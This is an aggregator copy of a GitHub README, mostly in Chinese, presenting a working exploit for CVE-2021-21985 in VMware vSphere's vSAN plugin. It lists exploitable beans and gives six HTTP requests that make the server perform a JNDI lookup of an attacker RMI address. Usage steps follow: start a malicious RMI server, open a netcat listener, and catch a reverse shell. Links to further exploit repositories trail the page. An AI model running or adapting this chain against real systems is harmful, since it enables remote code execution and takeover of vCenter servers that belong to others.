

Github GitHub - xnianq/cve-2021-21985_exp: cve-2021-21985 exploit
source link: https://github.com/xnianq/cve-2021-21985_exp
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

cve-2021-21985 exploit
0x01 漏洞点
分析可见:
https://attackerkb.com/topics/X85GKjaVER/cve-2021-21985?referrer=home#rapid7-analysis
0x02 exploit
对beans对象进行重新构造,实现rce。
bean列表:
localizedMessageBundle
vsanWorkerThreadFactory
vsanThreadPoolImpl
vsanServiceBundleActivator
vsanServiceFactory
vsanProviderUtils_setVmodlHelper
vsanProviderUtils_setVsanServiceFactory
vsanQueryUtil_setDataService
vsanComponentsProviderImpl
capabilityPropertyProviderImpl
pbmDataProviderImpl
vsanCapabilityCacheManager
vsanCapabilityUtils_setVsanCapabilityCacheManager
vsanUtils_setMessageBundle
vsanFormatUtils_setUserSessionService
随风大佬使用的vsanProviderUtils_setVmodlHelper在我这边环境没测试成功,就选用了另外的bean进行测试,由于Vsphere UI使用的tomcat中间件,可以通过jndi rmi bypass(https://github.com/welk1n/JNDI-Injection-Bypass/blob/master/src/main/java/payloads/EvilRMIServer.java)远程执行命令。
Step1
https://host/ui/h5-vsan/rest/proxy/service/&vsanQueryUtil_setDataService/setTargetObject
{"methodInput":[null]}
Step2
https://host/ui/h5-vsan/rest/proxy/service/&vsanQueryUtil_setDataService/setStaticMethod
{"methodInput":["javax.naming.InitialContext.doLookup"]}
Step3
https://host/ui/h5-vsan/rest/proxy/service/&vsanQueryUtil_setDataService/setTargetMethod
{"methodInput":["doLookup"]}
Step4
https://host/ui/h5-vsan/rest/proxy/service/&vsanQueryUtil_setDataService/setArguments
{"methodInput":[["rmi://attip:1097/ExecByEL"]]}
Step5
https://host/ui/h5-vsan/rest/proxy/service/&vsanQueryUtil_setDataService/prepare
{"methodInput":[]}
Step6
https://host/ui/h5-vsan/rest/proxy/service/&vsanQueryUtil_setDataService/invoke
{"methodInput":[]}
0x03 使用方法
- 启动rmi服务 java -cp JNDI-Injection-Bypass-1.0-SNAPSHOT-all.jar payloads.EvilRMIServer attip
- 启动reverse shell 侦听
nc -lvvp 5555
- 执行以上payload,得到reverse shell
0x04 reference
Recommend
-
164
V-E-O/PoC: PoC of CVE/Exploit Skip to content...
-
17
master IntelTXE-PoC/me_exp_bxtp.py / Jump to
-
220
Course Overview Windows User Mode Exploit Development (EXP-301) is an intermediate-level course which teaches students the fundamentals of modern exploit development. It starts with basic buffer overflow at...
-
33
Files Permalink Latest commit message Commit time
-
82
README.md 致远OA漏洞检查与利用工具,收录漏洞如下:...
-
6
KIE & Log4j2 exploit CVE-2021-44228by Mario Fusco - December 13, 2021
-
16
CVE-2022-0995 This is my exploit for CVE-2022-0995, an heap out-of-bounds write in the watch_queue Linux kernel component. It uses the same technique described in
-
10
README.md ...
-
12
AttackDefense.com [RCE] - CVE-2018-9037 Exploit Dec 7, 2018 •...
-
7
CVE-2022-44666/exploit.vcf at main · j00sean/CVE-2022-44666 · GitHub Skip to content...
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK